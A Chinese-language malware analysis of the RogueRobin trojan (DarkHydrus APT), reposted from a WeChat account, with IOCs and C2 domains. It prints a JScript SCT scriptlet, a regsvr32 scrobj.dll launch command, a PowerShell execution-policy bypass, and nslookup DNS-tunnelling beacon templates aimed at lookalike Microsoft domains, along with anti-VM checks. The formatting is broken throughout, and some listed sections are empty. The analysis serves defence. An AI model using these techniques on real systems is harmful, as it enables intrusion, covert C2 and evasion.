要查看宏,请从“开发人员”选项卡(“文件”->“选项”->“自定义功能区”->“开发人员复选框”),单击“Visual Basic”,您可以看到宏。
宏首先写入一个长的powershell脚本%TEMP%WINDOWSTEMP.ps1,然后写入一个SCT脚本%TEMP%12-B-366.txt。
<
scriptlet
>
<
registration
progid
=
"PoC"
classid
=
"{F0001111-0000-0000-0000-0000FEEDACDC}"
>
<
script
language
=
"JScript"
>
<![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("" + powershell_command + "", 0, true); ]]>
</
script
>
</
registration
>
</
scriptlet
>
最后,它使用以下命令运行此 SCT 脚本:
regsvr32.exe /
s
/n /u /i: %TEMP%
12
-B-
366
.txt scrobj.dll
SCT 脚本将运行一个 powershell 命令,该命令执行写入临时文件夹的 powershell 脚本:
powershell
.exe
-noexit
-exec
bypass
-File
%
TEMP
%
WINDOWSTEMP
.ps1
APPDATA%MicrosoftWindowsTemplatesWindowsTemplate.exe
并执行。
最后,它在名称下的启动文件夹中创建了此可执行文件的快捷方式
%APPDATA%MicrosoftWindows
Start
MenuPrograms
Startup
OneDrive.lnk
(一种实现持久性但很容易检测到的方法)。
所以链的工作原理如下:
SCT脚本 -运行-> Powershell脚本 -删除-> 最终可执行文件
第二阶段:.NET 可执行文件
-
检查 Windows BIOS 版本是否SMBIOSBIOSVERSION包含以下任何字符串
VBOX
bochs
qemu
VirtualBox
VM
-
检查是否win32_computersystem匹配VMware -
检查是否TotalPhysicalMemory < 2900000000 bytes -
检查是否NumberOfProcessorCores < 1 -
检查是否有Wireshark任何Sysinternals进程正在运行 -
检查是否有任何附加的调试器 -
如果这些条件中的任何一个为真,恶意软件就会退出。
持久链接
C2 通信
DNS Tunneling该恶意软件使用一种称为利用 DNS 请求发送和接收数据的技术(通常 DNS 请求不会被防火墙过滤,这使得该技术非常强大)。
C2
Domains
:
0
ffice365
.agency
0
nedrive
.agency
corewindows
.agency
microsoftonline
.agency
onedrive
.agency
sharepoint
.agency
skydrive
.agency
0
ffice365
.life
0
ffice365
.services
skydrive
.services
恶意软件首先使用以下命令刷新 DNS 缓存:
ipconfig
/flushdns
然后它循环遍历 C2 域并向每个域发送 DNS 查询,它具有三种变体或模式:
normal
request: nslookup.exe -q={DNS_quest_type} {id}.{domain_name}
ac
mode is enables: nslookup.exe -timeout=5 -q={DNS_quest_type} {id}.ac.{domain_name}
debugger
is attached: nslookup.exe -timeout=5 -q={DNS_quest_type} 676f6f646c75636b.ac.{domain_name}
有趣的是,如果我们解码676f6f646c75636b(附加调试器时增加的值),我们得到值goodluck,恶意软件作者试图与分析师开玩笑:)
以下是恶意软件可能使用的 DNS 查询类型:
DNS
query types:
MX
TXT
A
AAAA
通过调用然后将进程 ID 转换为具有以下替换的字符串来id生成请求:GetCurrentProcess()
0
--> h
1
--> i
2
--> j
3
--> k
4
--> l
5
--> m
6
--> n
7
--> o
8
--> p
9
--> q
如果响应包含这些字符串中的任何一个,查询函数将返回“cancel”:
216
.58
.192
.174
2
a00
:1450
:4001
:81a
::200e
2200::
download
.microsoft
.com
ntservicepack
.microsoft
.com
windowsupdate
.microsoft
.com
update
.microsoft
.com
如果响应包含这些字符串中的任何一个,查询函数将移动到下一个域:
timeout
UnKnown can
Unspecified
error
如果响应包含这些字符串中的任何一个,查询函数将返回 DNS 响应并退出:
canonical
name
mx
namerserver
serve
address
getjob
havejob
getid
在此阶段,恶意软件通过getid获取长度为 2 的唯一 ID,如果响应无效,则返回的 ID 设置为“0”。
10.0
.
2.15
|IEuser-PC|
WORKGROUP
|IEuser|
01
|0|
0
|1|
1
|0|
cs
接收命令
恶意软件每秒查询一次 C2 服务器,它使用这些正则表达式提取命令:
Address:\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})
Address:\s+\d+.\d+.\d+.\d+
Address:\s+40.112.(\d+.\d+)
\s(\w{3}).(domain_1|domain_2|...|domain_n)
如果恶意软件收到一个新命令,它会启动一个新线程来执行它:
以下是命令列表:
Google Drive 作为替代 C2 (x_mode)
现在我们知道了每个配置变量的用法,让我们深入研究从 Google Drive 通信和接收命令的过程。
IOC
哈希值
第一阶段:8DC9F5450402AE799F5F8AFD5C0A8352
第二阶段:039BD47F0FDB6BB7D68A2428C71F317D
文件
TEMP%WINDOWSTEMP.ps1
%
TEMP%12-B-366.txt
%
APPDATA%MicrosoftWindowsTemplatesWindowsTemplate.exe
%
APPDATA%MicrosoftWindowsStart MenuProgramsStartupOneDrive.lnk
C2通信
0ffice365[.]agency
0nedrive[.]agency
corewindows[.]agency
microsoftonline[.]agency
onedrive[.]agency
sharepoint[.]agency
skydrive[.]agency
0ffice365[.]life
0ffice365[.]services
skydrive[.]services
参考:
- https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling
- https://blog.centurylink.com/ismdoor-malware-continues-to-make-use-of-dns-tunneling
原文始发于微信公众号(Ots安全):RogueRobin木马深度分析(DarkHydrus APT)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论